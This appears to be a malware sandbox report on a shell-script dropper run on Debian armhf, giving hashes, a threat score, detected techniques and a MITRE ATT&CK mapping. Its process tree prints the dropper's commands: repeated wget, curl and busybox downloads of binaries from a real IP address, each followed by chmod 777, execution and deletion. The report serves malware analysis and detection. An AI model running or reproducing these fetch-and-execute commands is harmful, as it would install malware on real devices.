25ae04c2600e8175b8f2d2ac8db2e29740114030c2764227cff78787e3c75120

Analysis

max time kernel
12s
max time network
14s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
06/11/2024, 01:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
eec33435e04ab331c98f21b0bd4941d5d1bc4644b8c338ca9c6d202811b20432.sh
Size 10KB
Sample241106-cdv29ssjf1
SHA256 eec33435e04ab331c98f21b0bd4941d5d1bc4644b8c338ca9c6d202811b20432
MD5 f69289a3ee777f64edc9fb46772eabe1
SHA1 83809727986e7f0783b2f52ef58c7f30e73d3d69
SHA512 de22ffb299e34fe41a6e403c46f028b287a1eb7ffd3cf438ae4e8a33ce3e98f6eab1104b41f49c966b3f740e888ccd1fdf8d93c3c7cea4338f3389c035e84836
SSDEEP 192:TLfOZ5azR+RyKhtEnLEnLEnkEnsQEnrEnMgI92ysQaEEnLEnLEnkEnsQEnrEn2g/:TLfOZ5azR+NU221CW7QaV221CWTJLfOu
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
801	chmod
682	chmod
704	chmod
763	chmod
795	chmod
789	chmod
672	chmod
730	chmod
741	chmod
783	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt	673	rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk	684	czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran	706	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
/tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw	731	bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
/tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB	742	lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
/tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI	765	ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
/tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK	784	6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
/tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf	790	pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
/tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0	796	0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
/tmp/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM	802	dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM

Checks CPU configuration 1 TTPs 10 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 20 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw	curl
File opened for modification	/tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB	curl
File opened for modification	/tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI	curl
File opened for modification	/tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK	curl
File opened for modification	/tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf	curl
File opened for modification	/tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0	curl
File opened for modification	/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk	curl
File opened for modification	/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran	curl
File opened for modification	/tmp/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM	curl
File opened for modification	/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt	curl

/tmp/eec33435e04ab331c98f21b0bd4941d5d1bc4644b8c338ca9c6d202811b20432.sh
/tmp/eec33435e04ab331c98f21b0bd4941d5d1bc4644b8c338ca9c6d202811b20432.sh
1⤵
PID:639
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:641
- /usr/bin/wget
  wget http://87.120.84.230/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  PID:643
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:660
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  PID:667
- /bin/chmod
  chmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  ./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - Executes dropped EXE
  PID:673
- /bin/rm
  rm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  PID:674
- /usr/bin/wget
  wget http://87.120.84.230/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  PID:675
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  PID:677
- /bin/chmod
  chmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  ./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - Executes dropped EXE
  PID:684
- /bin/rm
  rm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  PID:685
- /usr/bin/wget
  wget http://87.120.84.230/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  PID:687
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  PID:699
- /bin/chmod
  chmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - File and Directory Permissions Modification
  PID:704
- /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  ./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - Executes dropped EXE
  PID:706
- /bin/rm
  rm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  PID:707
- /usr/bin/wget
  wget http://87.120.84.230/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:716
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  PID:722
- /bin/chmod
  chmod 777 bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  ./bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  PID:732
- /usr/bin/wget
  wget http://87.120.84.230/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  PID:740
- /bin/chmod
  chmod 777 lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  ./lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  PID:756
- /bin/chmod
  chmod 777 ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  ./ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  PID:766
- /usr/bin/wget
  wget http://87.120.84.230/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  PID:781
- /bin/chmod
  chmod 777 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  ./6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  - Executes dropped EXE
  PID:784
- /bin/rm
  rm 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  PID:785
- /usr/bin/wget
  wget http://87.120.84.230/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  PID:788
- /bin/chmod
  chmod 777 pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  ./pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  PID:791
- /usr/bin/wget
  wget http://87.120.84.230/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  PID:794
- /bin/chmod
  chmod 777 0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  ./0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm 0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  PID:797
- /usr/bin/wget
  wget http://87.120.84.230/bins/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  PID:800
- /bin/chmod
  chmod 777 dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  ./dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  - Executes dropped EXE
  PID:802
- /bin/rm
  rm dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  PID:803
- /usr/bin/wget
  wget http://87.120.84.230/bins/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  PID:804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt

Path /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads